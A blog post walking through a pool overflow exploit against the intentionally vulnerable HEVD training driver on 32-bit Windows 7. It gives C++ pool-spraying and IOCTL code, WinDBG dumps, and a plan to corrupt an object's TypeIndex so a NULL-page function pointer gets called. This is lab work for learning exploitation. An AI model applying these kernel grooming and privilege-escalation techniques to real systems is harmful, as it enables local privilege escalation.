22 April 2020 at 04:00
By: h0mbre

Introduction

Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.

This series will be light on tangential information such as:

  • how drivers work, the different types, communication between userland, the kernel, and drivers, etc
  • how to install HEVD,
  • how to set up a lab environment
  • shellcode analysis

The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)

This post/series will instead focus on my experience trying to craft the actual exploits.

Thanks

This exploit required a lot of insight into the non-paged pool internals of Windows 7. These walkthroughs/blogs were extremely well written and made everything very logical and clear. I really appreciate the authors’ help! Again, I’m just recreating other people’s exploits in this series trying to learn, not inventing new ways to exploit pool overflows for 32 bit Windows 7. The exploit also required allocating the NULL page, which isn’t possible on x64 so this will be a 32 bit exploit only.

Reversing Relevant Function

The bug for this driver routine is really similar to some of the stack based buffer overflow vulnerabilities we’ve already done like the stack overflow and the integer overflow. We get a user buffer and send it to the routine which will allocate a kernel buffer and copy our user buffer into the kernel buffer. The only difference here is the type of memory used. Instead of the stack, this memory is allocated in the non-paged pool which are pool chunks that are guaranteed to be in physical memory (RAM) at all times and cannot be paged out. This stands in contrast to paged pool which is allowed to be “paged out” when there is no more RAM capacity to a secondary storage medium.

The APIs that are relevant here in this routine are ExAllocatePoolWithTag and ExFreePoolWithTag. This API prototype looks like this:

PVOID ExAllocatePoolWithTag(
  __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
  SIZE_T                                         NumberOfBytes,
  ULONG                                          Tag
);

In our routine all of these parameters are hardcoded for us. PoolType is set to NonPagedPool, NumberOfBytes is set to 0x1F8, and Tag is set to 0x6B636148 (‘Hack’). This by itself is fine and there is no vulnerability obviously; however, the driver routine uses memcpy to transfer data from the user buffer to this newly allocated non-paged pool kernel buffer and uses the size of the user buffer as the size argument. (This precisely the bug in the Jungo driver that @steventseeley discovered via fuzzing.) If the size of our user buffer is larger than the kernel buffer, we will overwrite some data in the adjacent non-paged pool. Here is a screenshot of the function in IDA Free 7.0.

Nothing too complicated reversing wise, we can even see that right after our pool buffer is allocated, it is de-allocated with ExFreePoolWithTag.

If we call the function with the following skeleton code, we will see in WinDBG that everything works as normal and we can start trying to understand how the pool chunks are structured.

#include <iostream>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x22200F


HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void send_payload(HANDLE hFile) {

    ULONG payload_len = 0x1F8;

    LPVOID input_buff = VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    memset(input_buff, '\x42', payload_len);

    cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";

    DWORD bytes_ret = 0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        payload_len,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] DeviceIoControl failed!\n";

    }
}

int main() {

    HANDLE hFile = grab_handle();

    send_payload(hFile);

    return 0;
}

I set a breakpoint at offset 0x4D64 with this command in WinDBG: bp !HEVD+4D64 which is right after the memcpy operation and we see that our pool buffer has been filled with our \x42 characters. At this point a pointer to the allocated kernel buffer is still in eax so we can go to that location with the !pool command which will start at the beginning of that page of memory and display certain aspects of the memory allocated there.

kd> !pool 85246430
Pool page 85246430 region is Nonpaged pool
 85246000 size:   c8 previous size:    0  (Allocated)  Ntfx
 852460c8 size:   10 previous size:   c8  (Free)       .PZH
 852460d8 size:   20 previous size:   10  (Allocated)  ReTa
 852460f8 size:   20 previous size:   20  (Allocated)  ReTa
 85246118 size:   48 previous size:   20  (Allocated)  Vad 
 85246160 size:   68 previous size:   48  (Allocated)  NpFn Process: 8507a030
 852461c8 size:   20 previous size:   68  (Allocated)  ReTa
 852461e8 size:   20 previous size:   20  (Allocated)  ReTa
 85246208 size:  168 previous size:   20  (Free)       CcSc
 85246370 size:   b8 previous size:  168  (Allocated)  NbtD
*85246428 size:  200 previous size:   b8  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 85246628 size:   20 previous size:  200  (Allocated)  ReTa
 85246648 size:   68 previous size:   20  (Allocated)  FMsl
 852466b0 size:   c8 previous size:   68  (Allocated)  Ntfx
 85246778 size:  180 previous size:   c8  (Free)       EtwG
 852468f8 size:   98 previous size:  180  (Allocated)  MmCa
 85246990 size:    8 previous size:   98  (Free)       Nb29
 85246998 size:   48 previous size:    8  (Allocated)  Vad 
 852469e0 size:  1b8 previous size:   48  (Allocated)  LSbf
 85246b98 size:   b8 previous size:  1b8  (Allocated)  File (Protected)
 85246c50 size:   60 previous size:   b8  (Free)       Clfs
 85246cb0 size:  1b0 previous size:   60  (Allocated)  NSIk
 85246e60 size:   20 previous size:  1b0  (Allocated)  ReTa
 85246e80 size:   b8 previous size:   20  (Allocated)  File (Protected)
 85246f38 size:   c8 previous size:   b8  (Allocated)  Ntfx

We that even though our pointer in eax to our kernel buffer was 0x85246430, the allocation actually begins at 0x85246428 which is 0x8 before. This is because there is a 4 byte ULONG value and our pool tag placed before our actually buffer begins. Using some of the commands from the aforementioned blogposts goes a long way in WinDBG to being able to clearly think about these data structures.

kd> dt nt!_POOL_HEADER 85246428
   +0x000 PreviousSize     : 0y000010111 (0x17)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y001000000 (0x40)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4400017
   +0x004 PoolTag          : 0x6b636148
   +0x004 AllocatorBackTraceIndex : 0x6148
   +0x006 PoolTagHash      : 0x6b63

This shows us the makeup of the pool header. We can see it spans 8 total bytes which we knew. The numbers that begin 0y are binary. But, you can see that PreviousSize, PoolIndex, BlockSize, and PoolType all get their values smushed together and form this Ulong1 member which begins at offset 0x000. Then, from that offset, we get our pool tag. So that’s all 8 bytes accounted for. We can use the memory pane to scroll to the bottom of our buffer and spy on the next memory chunk’s header as well.

We can see that the header values for the next chunk are: 40 00 04 04 52 65 54 61.

The only other thing to pay attention to, was that the !pool command told us our chunk was 0x200 bytes long which makes sense when you add the size of the header 0x8 to our allocated buffer size of 0x1F8.

Generic Attack Strategy

Before we proceed, we have to understand how we’re going to utilize this ability, via our oversized user buffer, to arbitrarily overwrite data in the adjacent pool allocation as an attack vector. What we have right now is the ability to overwrite pool memory. In order for this to be worth while for us, we have to find a way to get the pool into a state where what we’re overwriting is predictable. If what we’re overwriting is unpredictable, we can never form a reliable exploit. If we damage some of the fields here and aren’t surgical in our overwrites, we’ll easily get a BSOD.

Generically, in its organic state, the non-paged pool is fragmented, meaning there are holes in it from chunks being freed arbitrarily by other processes on the system. What we want to do is cover these holes by spraying a ton of objects into the non-paged pool so that the pool allocation mechanism places our chunks into those available slots. Once this is complete, we’ll want to spray even more objects so that by far, the most common objects in the pool are the ones we have just sprayed.

By way of analogy, if you had a bag of a chess set’s pieces, you would have low odds of pulling a King from the bag; however, if you then added 15,000 Kings to the bag, your chances are much better!

So we have two goals outlined so far:

  • spray the pool with objects until its organically existing holes are patched with our objects,
  • spray the pool again to increase the sheer number of objects we’ve allocated so that they’ll be sequential in non-paged pool memory.

What we’ll do next, is take our pretty pool allocations that form a large solid block, and poke holes in it the size of our kernel buffer we can allocate with the driver routine. Our kernel buffer is 0x200 bytes remember. This way, when our kernel buffer is allocated in the pool, the allocator will place it in the newly freed 0x200 byte hole we have just created. Now what we have, is our alloaction completely surrounded by the objects we had sprayed. This is perfect because now when our buffer overwrites data in the adjacent pool allocation, we’ll know exactly what we’re overwriting because it will be a chunk that we allocated ourselves, not an arbitrary system process.

We will use this ability to overwrite data to predictably overwrite a piece of data in one of our allocated objects that will, once the allocation is freed, end up to the kernel executing a function pointer which we will have filled with shellcode. So now our generic gameplan is:

  • spray the pool with objects until its organically existing holes are patched with our objects,
  • spray the pool again to increase the sheer number of objects we’ve allocated so that they’ll be sequential in non-paged pool memory,
  • poke some nice 0x200 byte-sized holes in the allocations,
  • use our driver routine to fit our kernel buffer in one of these new holes,
  • have that allocation predictably overwrite information in the adjacent allocation that leads to kernel execution of our shellcode when the corrupted allocation is freed.

Next, we’ll get to know the object we’ll be using to spray the pool.

Event Objects

The blogpost authors inform us that Event Objects are perfect for this job for a few reasons, but one of the main reasons is that it is 0x40 bytes in size. A quick Python interpreter check shows us that we can neatly free 8 Event Objects and have our 0x200 byte sized holes we wanted.

>>> 0x200 % 0x40
0
>>> 0x200 / 0x40
8.0

We don’t care much about the content of these events, so every parameter will be basically NULL when we use the CreateEvent API:

HANDLE CreateEventA(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCSTR                lpName
);

What’s most important for us now, is finding out what we need to overwrite in this object to get code execution when the corrupted Event Object is freed. We’ll go ahead and spray a similar amount of objects that FuzzySec and r0otki7 did,

  • 10,000 to fill the holes in the fragmented pool
  • 5,000 to create a nice long contiguous block of Event Objects

Our code now looks like this:

#include <iostream>
#include <vector>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x22200F

vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void spray_pool() {

    cout << "[>] Spraying pool to defragment...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during defragmentation\n";
            exit(1);
        }

        defragment_handles.push_back(result);
    }
    cout << "[>] Defragmentation spray complete.\n";
    cout << "[>] Spraying sequential allocations...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during sequential.\n";
            exit(1);
        }

        sequential_handles.push_back(result);
    }
    
    cout << "[>] Sequential spray complete.\n";
}

void send_payload(HANDLE hFile) {
    
    ULONG payload_len = 0x1F8;

    LPVOID input_buff = VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    memset(input_buff, '\x42', payload_len);

    cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";

    DWORD bytes_ret = 0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        payload_len,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] DeviceIoControl failed!\n";

    }
}

int main() {

    HANDLE hFile = grab_handle();

    spray_pool();

    send_payload(hFile);

    return 0;
}

Take note that we’re storing the handles to each Event Object in a vector so that we can access those later.

Let’s spray our objects and then allocate our kernel buffer and see what the page looks like that our kernel buffer ends up being allocated on. We still have the same breakpoint from before, right after the memcpy operation. At this point the kernel buffer pointer is still in eax don’t forget, so I just want to subtract 0x1000 from it because thats a small page size and then advance by just plugging that right in to the !pool command we get the whole page’s allocation information:

kd> !pool 8628b008-0x1000
Pool page 8628a008 region is Nonpaged pool
*8628a000 size:   40 previous size:    0  (Allocated) *Even (Protected)
		Pooltag Even : Event objects
 8628a040 size:   80 previous size:   40  (Free)       b.2.
 8628a0c0 size:   40 previous size:   80  (Allocated)  Even (Protected)
 8628a100 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a140 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a180 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a1c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a200 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a240 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a280 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a2c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a300 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a340 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a380 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a3c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a400 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a440 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a480 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a4c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a500 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a540 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a580 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a5c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a600 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a640 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a680 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a6c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a700 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a740 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a780 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a7c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a880 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a8c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a900 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a940 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a980 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628a9c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628aa00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628aa40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628aa80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628aac0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ab00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ab40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ab80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628abc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ac00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ac40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ac80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628acc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ad00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ad40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ad80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628adc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ae00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ae40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628ae80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628aec0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628af00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628af40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628af80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8628afc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

That looks pretty nice. We get a nice contiguous block of Event Objects just as we expected (bit weird that there’s a 0x80 byte hole in there…).

The next thing we need to do, is examine the constituent parts of these Event Objects to find our overwrite target. I like to take a look at the memory pane of and then, following along with the cited blogposts, parse out the meaning of the byte values. Here is the memory view for one of the Event Object allocations:

8628afc0 08 00 08 04 45 76 65 ee 00 00 00 00 40 00 00 00  [email protected]
8628afd0 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00  ................
8628afe0 00 00 00 00 0c 00 08 00 40 f9 37 86 00 00 00 00  [email protected]
8628aff0 01 00 04 34 00 00 00 00 f8 af 28 86 f8 af 28 86

We can start parsing this by taking a look at the pool header:

kd> dt nt!_POOL_HEADER 8628afc0 
   +0x000 PreviousSize     : 0y000001000 (0x8)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001000 (0x8)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4080008
   +0x004 PoolTag          : 0xee657645
   +0x004 AllocatorBackTraceIndex : 0x7645
   +0x006 PoolTagHash      : 0xee65

This looks pretty familiar to what we’ve done, obviously the PoolTag is different, but so is the Ulong1 value and you can examine the binary constituent parts that lead to its formulation. Next we’ll look at the OBJECT_HEADER_QUOTA_INFO which starts at offset 0x8 from the beginning of our allocation and you can match it up with the bytes in the memory view:

kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8628afc0+0x8
   +0x000 PagedPoolCharge  : 0
   +0x004 NonPagedPoolCharge : 0x40
   +0x008 SecurityDescriptorCharge : 0
   +0x00c SecurityDescriptorQuotaBlock : (null) 

So far, none of these things can be changed by our overwrite. Our overwrite has to keep all of this data intact so we’ll have to write these values into our input buffer. Next, we’ll finally start to approach our overwrite target when we parse out the OBJECT_HEADER:

kd> dt nt!_OBJECT_HEADER 8628afc0 + 8 + 10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xc ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x8637f940 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8637f940 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

This is where things start to get interesting as the TypeIndex value right now is set to 0xc. 0xc is actually an array index value, like array[0xc]. This array, is called the ObTypeIndexTable and it is filled with pointers which define OBJECT_TYPEs. This is actually really cool in my opinion because we can test this out. Let’s first dump all the pointers stored in the ObTypeIndexTable.

kd> dd nt!ObTypeIndexTable
82997760  00000000 bad0b0b0 84f46728 84f46660
82997770  84f46598 84fedf48 84fede08 84fedd40
82997780  84fedc78 84fedbb0 84fedae8 84fed410
82997790  85053520 8504f9c8 8504f900 8504f838
829977a0  8503f9c8 8503f900 8503f838 84ffb9c8
829977b0  84ffb900 84ffb838 84fef780 84fef6b8
829977c0  84fef5f0 8503b838 8503b770 8503b6a8
829977d0  85057590 850573a0 84ff3ca0 84ff3bd8

If the first entry, 82997760, is array index 0, then 0xc index is going to be 85053520. Let’s get WinDBG to spill the beans on this type and let’s see if its indeed an Event Object.

kd> dt nt!_OBJECT_TYPE 85053520 -b
   +0x000 TypeList         : _LIST_ENTRY [ 0x85053520 - 0x85053520 ]
      +0x000 Flink            : 0x85053520 
      +0x004 Blink            : 0x85053520 
   +0x008 Name             : _UNICODE_STRING "Event"
      +0x000 Length           : 0xa
      +0x002 MaximumLength    : 0xc
      +0x004 Buffer           : 0x8ba06838  "Event"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xc ''
   +0x018 TotalNumberOfObjects : 0x6bbf
   +0x01c TotalNumberOfHandles : 0x6c2b
   +0x020 HighWaterNumberOfObjects : 0x6bbf
   +0x024 HighWaterNumberOfHandles : 0x6c2b
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
      +0x000 Length           : 0x50
      +0x002 ObjectTypeFlags  : 0 ''
      +0x002 CaseInsensitive  : 0y0
      +0x002 UnnamedObjectsOnly : 0y0
      +0x002 UseDefaultObject : 0y0
      +0x002 SecurityRequired : 0y0
      +0x002 MaintainHandleCount : 0y0
      +0x002 MaintainTypeList : 0y0
      +0x002 SupportsObjectCallbacks : 0y0
      +0x002 CacheAligned     : 0y0
      +0x004 ObjectTypeCode   : 2
      +0x008 InvalidAttributes : 0x100
      +0x00c GenericMapping   : _GENERIC_MAPPING
         +0x000 GenericRead      : 0x20001
         +0x004 GenericWrite     : 0x20002
         +0x008 GenericExecute   : 0x120000
         +0x00c GenericAll       : 0x1f0003
      +0x01c ValidAccessMask  : 0x1f0003
      +0x020 RetainAccess     : 0
      +0x024 PoolType         : 0 ( NonPagedPool )
      +0x028 DefaultPagedPoolCharge : 0
      +0x02c DefaultNonPagedPoolCharge : 0x40
      +0x030 DumpProcedure    : (null) 
      +0x034 OpenProcedure    : (null) 
      +0x038 CloseProcedure   : (null) 
      +0x03c DeleteProcedure  : (null) 
      +0x040 ParseProcedure   : (null) 
      +0x044 SecurityProcedure : 0x82abad90 
      +0x048 QueryNameProcedure : (null) 
      +0x04c OkayToCloseProcedure : (null) 
   +0x078 TypeLock         : _EX_PUSH_LOCK
      +0x000 Locked           : 0y0
      +0x000 Waiting          : 0y0
      +0x000 Waking           : 0y0
      +0x000 MultipleShared   : 0y0
      +0x000 Shared           : 0y0000000000000000000000000000 (0)
      +0x000 Value            : 0
      +0x000 Ptr              : (null) 
   +0x07c Key              : 0x6e657645
   +0x080 CallbackList     : _LIST_ENTRY [ 0x850535a0 - 0x850535a0 ]
      +0x000 Flink            : 0x850535a0 
      +0x004 Blink            : 0x850535a0 

Using -b option here really saves us because it displays all levels of sub-structures within their parent structures. So, we absolutely have honed in on the pointer to Event objects as evidenced by this:

+0x008 Name             : _UNICODE_STRING "Event"

What gets cool here, is that at offset 0x28 we see the TypeInfo structure. One of it’s members, the CloseProcedure is 0x38 deep into that TypeInfo structure. So starting from offset 0x0 of the data referenced by the OBJECT_TYPE pointer we found in the table, the CloseProcedure is located at offset 0x28 + 0x38, or 0x60. THIS is the function pointer that is called when use CloseHandle API to free these Event Objects from the non-paged pool. So this is our target.

If that is complicated I’ve tried to create a helpful diagram:

So what happens when we free the chunk with CloseHandle is the kernel goes to the address referenced by the array index value 0xc and looks at offset 0x60 from there for a function pointer and calls the function. Looking back at that table:

kd> dd nt!ObTypeIndexTable
82997760  00000000 bad0b0b0 84f46728 84f46660
----SNIP----

The first function pointer is 0x00000000 and we already know from our NULL pointer dereference exploit that we can map the NULL page on Windows 7 x86. So thanks to the aforementioned bloggers, our path forward is clear. We’ll ONLY corrupt the value 0xc inside the OBJECT_HEADER so that it’s set to 0x0 instead. We’ll leave everything else the way it is with our overwrite. This way, when we free this chunk, the kernel will start looking for offset 0x60 for a function pointer from 0x00000000. So we’ll just map the NULL page and place a pointer to our shellcode at offset 0x60.

Executing The Plan

Now that we know our plan of attack, we need to execute it.

The adjustment we need to make is to poke holes in this contiguous block so that when we get our buffer allocated the allocator slides it right between Event Objects. We know that it takes 8 Event Objects being freed to make a 0x200-sized hole, so following along with @FuzzySec, we’ll release 8 Event Object handles every 0x16 handles in our vector. Our code now looks like this:

#include <iostream>
#include <vector>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x22200F

vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void spray_pool() {

    cout << "[>] Spraying pool to defragment...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during defragmentation\n";
            exit(1);
        }

        defragment_handles.push_back(result);
    }
    cout << "[>] Defragmentation spray complete.\n";
    cout << "[>] Spraying sequential allocations...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during sequential.\n";
            exit(1);
        }

        sequential_handles.push_back(result);
    }
    
    cout << "[>] Sequential spray complete.\n";

    cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
    for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
        for (int x = 0; x < 8; x++) {
            BOOL freed = CloseHandle(sequential_handles[i + x]);
            if (freed == false) {
                cout << "[!] Unable to free sequential allocation!\n";
                cout << "[!] Last error: " << GetLastError() << "\n";
            }
        }
    }
    cout << "[>] Holes poked lol.\n";
}

void send_payload(HANDLE hFile) {
    
    ULONG payload_len = 0x1F8;

    LPVOID input_buff = VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    memset(input_buff, '\x42', payload_len);

    cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";

    DWORD bytes_ret = 0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        payload_len,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] DeviceIoControl failed!\n";

    }
}

int main() {

    HANDLE hFile = grab_handle();

    spray_pool();

    send_payload(hFile);

    return 0;
}

After running it and looking up our post memcpy kernel buffer with the !pool command, we see that our 0x200 byte object was allocated precisely between two Event Objects! Everything is working as planned!

kd> !pool 862740c8
Pool page 862740c8 region is Nonpaged pool
 86274000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 86274040 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274080 size:   40 previous size:   40  (Allocated)  Even (Protected)
*862740c0 size:  200 previous size:   40  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 862742c0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 86274300 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274340 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274380 size:   40 previous size:   40  (Allocated)  Even (Protected)
 862743c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274400 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274440 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274480 size:   40 previous size:   40  (Allocated)  Even (Protected)
 862744c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274500 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274540 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274580 size:   40 previous size:   40  (Allocated)  Even (Protected)
 862745c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274600 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274640 size:  200 previous size:   40  (Free)       Even
 86274840 size:   40 previous size:  200  (Allocated)  Even (Protected)
 86274880 size:   40 previous size:   40  (Allocated)  Even (Protected)
 862748c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274900 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274940 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274980 size:   40 previous size:   40  (Allocated)  Even (Protected)
 862749c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274a00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274a40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274a80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274ac0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274b00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274b40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274b80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274bc0 size:  200 previous size:   40  (Free)       Even
 86274dc0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 86274e00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274e40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274e80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274f00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274f40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274f80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 86274fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

Memory Corruption Engaged

